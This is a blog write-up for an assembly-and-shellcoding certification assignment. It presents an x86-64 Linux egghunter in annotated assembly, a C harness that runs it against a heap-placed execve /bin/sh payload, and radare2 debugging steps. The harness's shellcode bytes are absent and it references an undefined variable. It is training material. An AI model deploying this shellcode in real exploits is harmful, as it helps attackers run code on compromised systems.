X64 Linux Egghunter Shellcode

Jul 29, 2018 | 7 minutes read

Tags: assembly, slae-64, shellcode

This post is the third of seven that will comprise my attempt at the SecurityTube Linux Assembly Expert (SLAE-64) certification. Each post will correspond to seven assignments of varying difficulty. I decided to take SLAE-64 to shore up my knowledge of assembly and shellcoding before diving in to OSCE.

The requirements for this assignment are to create an egghunter that will find and execute a payload in memory.

Assignment #3 Requirements

  • Study the topic egghunting shellcode
  • Create a working demo of an egghunter
    • The demo should be configurable with any type of payload

What is an Egghunter?

An egghunter is a (hopefully) small piece of shellcode that can be used to find and execute a larger piece of shellcode that resides at an unknown location in memory. Egghunters are useful when successful exploitation leaves very little room in which to place your initial shellcode, but you can insert a larger piece of shellcode at some other location. The larger piece of shellcode has a special identifier (the egg) for which the egghunter will search. Once the egghunter locates the egg, it hands off execution to the larger piece of shellcode (i.e. the payload).

There is an excellent paper by skape titled Safely Searching Process Virtual Address Space that explains egghunters and demonstrates multiple implementations on both linux and windows. The egghunter shown here is essentially a 64-bit version of a combination of skape’s access and sigaction examples.

The Egghunter

Unlike my first and second assignments, I will not go into an in-depth analysis of each piece of the assembly. Though, there are a few pieces of code I will highlight and I will also demonstrate how I went about testing the egghunter.

#define __NR_access 21

int access(const char *pathname, int mode);

 * rax -> 21
 * rdi -> pointer to memory
 * rsi -> mode (0x0)

From the access man page

The mode specifies the accessibility check(s) to be performed, and is either the value F_OK, or a mask consisting of the bitwise OR of one or more of R_OK, W_OK, and X_OK.

We can use python again to determine the F_OK constant to be used in as the mode argument

>>> import os
>>> os.F_OK

The primary idea behind skape’s use of the access syscall to create an egghunter that can determine whether or not we can safely go poking around in that page of memory. The call to access returns F_OK if we’re good to go and EFAULT (0xf2 in al) if we’re not. We use that return value to iterate by PAGE_SIZE (4096 on my machine), which significantly increases the search speed. Only when we receive an F_OK do we inspect actual addresses for our egg.

On line 34 of the assembly, I increment al (thus incrementing our egg). I do this so that our egghunter doesn’t have an exact copy of the egg inside of its own code. This prevents the egghunter from finding itself while hunting.

 1global _start
 3; derived from skape's paper on egghunters
 4; the following is a mix of his access and sigaction examples, ported to x86_64
 7section .text
 9  xor edi, edi              ; rdi     -> 0x0
10  mul edi                   ; rax|rdx -> 0x0
11  xchg eax, esi             ; rsi     -> 0x0
13  inc edx
14  shl edx, 12               ; rdx     -> 0x1000
16  ; known register state before the hunt begins
17  ; rsi -> 0x0
18  ; rdi -> 0x0
19  ; rdx -> 0x1000 -> 4096 -> PAGE_SIZE
22  lea rdi, [rdi + rdx]      ; inc pointer by 4096 - keeping page aligned
25  push 21
26  pop rax                   ; access syscall # loaded into rax
27  syscall                   ; call access($rdi, $rsi) where rsi is 0x0 and rdi is a memory address
29  cmp al, 0xf2              ; if al contains 0xf2, EFAULT was returned (bad addr)
30  je increment_page         ; continue the hunt!
33  mov eax, 0x5090508f       ; store the egg for comparison, actual egg is 0x50905090
34  inc al                    ; increment the egg by one so the egg doesn't find itself
35  scasd                     ; compare first dword
36  jne compare
37  scasd                     ; compare second dword
38  jne compare
39  jmp rdi                   ; found it, fire ze missiles!

Now that we have the basics of what the egghunter is doing, let’s dive into how to actually test it on a 64-bit machine. First, we need a shellcode skeleton. This skeleton contains our egghunter as well as our payload. The payload used is a simple execve call using /bin/sh to spawn a shell. We define an egg and prepend it to the payload twice so that our egghunter can find it. For the purposes of testing, I created some room on the heap, stuck the egg and payload there, and printed the address. I tried demonstrating the egghunter without massaging the starting location of the search, but even after about a day of running, the egghunter still had not found the egg on my system. So, to that end, we cheat a little bit to confirm that the egghunter functions as advertised.

 1#include <stdio.h>
 2#include <string.h>
 3#include <stdlib.h>
 5#define EGG "\x90\x50\x90\x50"  // 0x50905090
 7unsigned char egg[] = EGG;
 9unsigned char egghunter[] = \
12unsigned char payload[] = \
17int main() {
18  char *heap = (char*)malloc(1000000);
19  memset(heap, '\0', 512);
20  strcpy(heap, egg);
21  strcpy(heap+4, egg);
22  strcpy(heap+8, code);
24  printf("Shellcode length: %zu\n", strlen(payload));
25  printf("Egghunter length: %zu\n", strlen(egghunter));
26  printf("Shellcode location: %p\n", heap);
27  int (*ret)() = (int(*)())egghunter;
28  ret();

I just started learning my way around radare2 and will be using it to demonstrate changing rdi to a memory address very close to our egg. First, we fire up radare2 in debug mode. This will allow us to step through our shellcode’s execution, similar to how we would use GDB.


Our next step is to start the program running but pause execution once we reach our egghunter code. We can perform this action very easily in radare2 by using debug continue until (dcu obj.egghunter) . An important step here is to copy and save the memory address printed by our shellcode skeleton that points to our shellcode (0x7f7047b48010).


After that, we can take a look at our code in Visual mode (with registers and disassembly) by typing Vpp. While we’re here, we can step through our execution to a point after we’re done zeroing out the registers (namely rdi). Additionally, we can copy and save the memory address of the instruction where we store our egg in rax to set a breakpoint.


We quit out of visual mode (q command) and setup our breakpoint (db command). We also take this time to set rdi equal to roughly 4096 bytes less than the actuall address of our egg (dr rdi=0x7f7047b47000). This will allow us to see the egghunter functioning as intended. As a reminder, our egg’s location is 0x7f7047b48010.


After setting rdi where we want it to be, we can see the register updated in visual mode.


Next, we continue execution (dc command) and wait for the next breakpoint to pause execution.


From this point, it’s just a few iterations of our compare loop to step through until we reach our egg. The screenshot below shows execution paused right before the jump to our payload.


After the jump, we can see two instances of our egg, as well as the execve payload.


Seacrest, out!

Now we have a working egghunter that can be configured with whatever payload we wish. Happy hunting!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: E64-1584
My SLAE-64 Assignments Repository

comments powered by Disqus